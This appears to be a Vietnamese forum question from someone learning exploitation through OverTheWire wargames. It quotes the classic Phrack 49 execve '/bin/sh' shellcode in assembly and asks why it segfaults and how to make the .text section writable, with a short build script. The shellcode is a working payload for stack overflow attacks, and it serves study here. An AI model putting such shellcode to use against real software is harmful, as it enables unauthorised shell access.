Xin chào mọi người, em hiện tại đang bắt đầu học exploit thông qua chơi game qua www.overthewire.org). Hiện tại em đang có vấn đề với việc build asm code để exploit stack over flow.
Code:
jmp 0x1f # 2 bytes
popl %esi # 1 byte (1)
movl %esi,0x8(%esi) # 3 bytes (2)
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
Đây là code example trong tài liệu tham khảo http://www.phrack.com/issues.html?issue=49&id=14&mode=txt. Mục đích của đoạn asm code trên là lấy được address của string "bin/sh" truyền vào hàm execve -> exit -> spawn thành công shell.
1 -> ta thấy %esi lúc này chứa address của string "bin/sh" và lệnh tiếp theo để insert NULL vào cuối string để đánh đấu kết thúc string -> không bị lỗi khi insert thêm NOP để align string exploit sau này. Đây cũng là điểm khi em run code bị lỗi, %esi lúc này chứa address thuộc vùng .text nên lệnh movl %esi,0x8(%esi) luôn trả về error Segmentation fault khi run.
Câu hỏi của em là:
1. Có phải tài liệu này đã outdate và thời điểm hiện tại compiler đã thay đổi nên ví dụ trên không còn phù hợp nữa
2. Em thử tìm có 2 cách để make .text writable :
- thử build với option -N của ld
Code:
#!/bin/bash
gcc -c -o $1.o $1.s
ld -s -o -N $1 $1.o
-> không hoạt động
- dùng mprotect. Cách này có vẻ bất khả thi vì phải tính toán theo page_size khi runtime.
Có cách nào khác nữa để "make .text writable".